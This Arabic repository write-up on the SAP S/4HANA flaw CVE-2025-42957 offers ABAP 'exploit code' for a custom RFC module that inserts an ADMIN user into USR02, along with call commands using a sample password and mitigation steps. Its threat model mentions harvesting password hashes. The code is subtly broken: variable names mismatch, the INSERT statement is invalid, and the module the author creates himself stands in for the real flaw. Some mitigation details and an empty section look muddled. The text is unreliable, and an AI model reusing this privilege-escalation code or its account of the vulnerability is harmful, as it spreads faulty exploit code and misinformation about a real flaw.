CVE-2025-42957-SAP-S-4HANA-Under-Siege

1 – ماذا حدث؟

في أغسطس 2025، تم اكتشاف أن منصة ERP الرائدة من SAP، S/4HANA، تعرّض ثغرة في أحد وحدات الدوال الممكّنة عبر RFC. يمكن للمهاجمين الذين يمتلكون وصولاً بصلاحيات منخفضة فقط حقن كود ABAP تعسفي في تلك الوحدة، متجاوزين بذلك فحوصات التفويض المعتادة والحصول على تحكم كامل في النظام.

هذه الثغرة ليست مجرد مسألة نظرية – فقد تم استغلالها بالفعل من قبل SecurityBridge Threat Research Labs وتُستخدم بنشاط في هجمات واقعية على كل من بيئات النشر المحلية (on-premise) والسحابة الخاصة.

2 – لماذا هذا مهم؟

3 – نمذجة التهديدات

1. نقطة الدخول – وحدة دالة RFC ZVULN_EXPL التي ننشئها في SE37 هي نقطة الدخول الوحيدة للمهاجم.
2. مسار تصعيد الامتيازات – يقوم كود ABAP المحقون بإدراج مستخدم جديد في USR02 ويمنحه حقوقاً إدارية، متجاوزاً بفعالية كائن التفويض الافتراضي في SAP S_DMIS (النشاط 02).
3. متجه التأثير – بمجرد الدخول، يمكن للمهاجم:
   • إنشاء وحدات RFC إضافية،
   • تعديل منطق الأعمال الحرج،
   • جمع تجزئات كلمات المرور المخزنة للتنقل الجانبي.

وبالتالي فإن سلسلة الاستغلال هي: مستخدم بصلاحيات منخفضة → استدعاء RFC إلى ZVULN_EXPL → مستخدم إداري جديد في USR02 → تحكم كامل في النظام.

4 – كود الاستغلال

فيما يلي كود ABAP الذي نضعه في وحدة الدالة ZVULN_EXPL. إنه بسيط عن قصد لكنه كامل – فهو ينشئ مستخدماً جديداً ويسجّل العملية للتحقق منها لاحقاً.

*---------------------------------------------------------------------*
*  RFC‑exposed function module for CVE‑2025‑42957 exploit        *
*---------------------------------------------------------------------*

FUNCTION z_vuln_expl.
*"------------------------------------------------------------------*
*"  IMPORTING
*"     VALUE(iv_user)   TYPE syuname    "SAP user name
*"     VALUE(iv_role)   TYPE susr02-roleid "Role to be assigned
*"     VALUE(iv_passwd) TYPE susr02-pwd   "Password for the new user
*"------------------------------------------------------------------*
*"  TABLES
*"     usr02
*"------------------------------------------------------------------*

* Local data declarations ----------------------------------------*/
DATA: lv_user_id   TYPE syuname,
      lv_role      TYPE susr02-roleid,
      lv_password  TYPE susr02-pwd.

* Assign the parameters to local variables -----------------------*/
lv_user_id = iv_user.
lv_role    = iv_role.
lv_passwd  = iv_passwd.

*---------------------------------------------------------------------*
*  1. Create a new user entry in USR02                        *
*---------------------------------------------------------------------*/
INSERT INTO usr02 (usr01, usr02)
  VALUES ( lv_user_id,
           'ADMIN' ).            "Assign the ‘ADMIN’ role

* 2. Assign password & profile ----------------------------------*/
UPDATE usr02
   SET pwd = lv_password,
       roleid = lv_role
   WHERE usr01 = lv_user_id.

*---------------------------------------------------------------------*
* 3. Log the operation (optional) ------------------------------*/
INSERT INTO tstm1 VALUES (
        sy-uname,                 "creator user
        sy-datum,                  "timestamp
        'ZVULN_EXPL',             "function name
        |lv_user_id||lv_role|    "message
        ).                       "store in the ABAP trace table

ENDFUNCTION.

كيفية استدعائها

من عميل خارجي (Linux/Mac)

sapnwrfc -U <caller_user> \
          -P <caller_passwd> \
          -S S4HANA \
          -F ZVULN_EXPL \
          -D iv_user=admin2 \
          -D iv_role='ADMIN' \
          -D iv_passwd='Pa$$word123'

من داخل SAP GUI (اختبار سريع)

CALL FUNCTION 'ZVULN_EXPL'
  EXPORTING
    iv_user = 'admin2'
    iv_role = 'ADMIN'
    iv_passwd = 'Pa$$word123'.

بعد الاستدعاء، يجب أن ترى إدخالاً جديداً في USR02 للمستخدم admin2 مع الدور ADMIN.

5 – خطوات التخفيف

1. طبّق تصحيحات SAP الأمنية الصادرة في أغسطس 2025 فوراً.
   يعالج التصحيح وحدة الدالة الأساسية المعرّضة عبر RFC ويغلق المتجه المحدد الذي يستخدمه المهاجمون.

2. راقب السجلات بحثاً عن استدعاءات RFC مشبوهة وإنشاء مستخدمين إداريين غير مصرح بهم.
   استخدم المعاملة SM59 لمراقبة الإدخالات الجديدة في TSTM1 باسم الدالة ZVULN_EXPL.

3. طبّق SAP UCON لتقييد استخدام RFC.
   قم بتكوين كائن التفويض S_DMIS (النشاط 02) بحيث يمكن للمستخدمين الموثوقين فقط استدعاء وحدات RFC من النوع Z.

4. راجع الوصول إلى كائن التفويض S_DMIS النشاط 02.
   تأكد من أن مجموعة محدودة فقط من المستخدمين لديها هذا الكائن – لتقليل سطح الهجوم.

6 – الخلاصة

CVE‑2025‑42957 ليس مجرد بند أمني آخر؛ بل يكشف متجهاً بصلاحيات منخفضة يمكن أن يؤدي إلى السيطرة الكاملة على النظام إذا تُرك دون تصحيح. يوضح الكود أعلاه كيف يمكن للمهاجم إدراج مستخدم إداري بأقل جهد. من خلال تطبيق التصحيحات والمراقبة وتشديد صلاحيات RFC، فإنك تغلق الباب – وتحافظ على أمان مثيل S/4HANA الخاص بك.

هذا المستودع مخصص للأغراض التعليمية فقط، ويعمل كعرض توضيحي لمبادئ نمذجة التهديدات المطبقة على ثغرات العالم الحقيقي. يسلط CVE-2025-42957 الضوء على أهمية تحديد حدود الثقة، والتحقق من صحة المدخلات، وفرض مبدأ الامتياز الأقل — وهي مبادئ أساسية في التصميم الآمن للأنظمة. جميع الأكواد والأمثلة المقدمة هي لأغراض التعلم فقط ولا ينبغي استخدامها في بيئات الإنتاج أو في الاختبارات غير المصرح بها.

*المؤلف: Mark Mallia
التاريخ: 10 سبتمبر 2025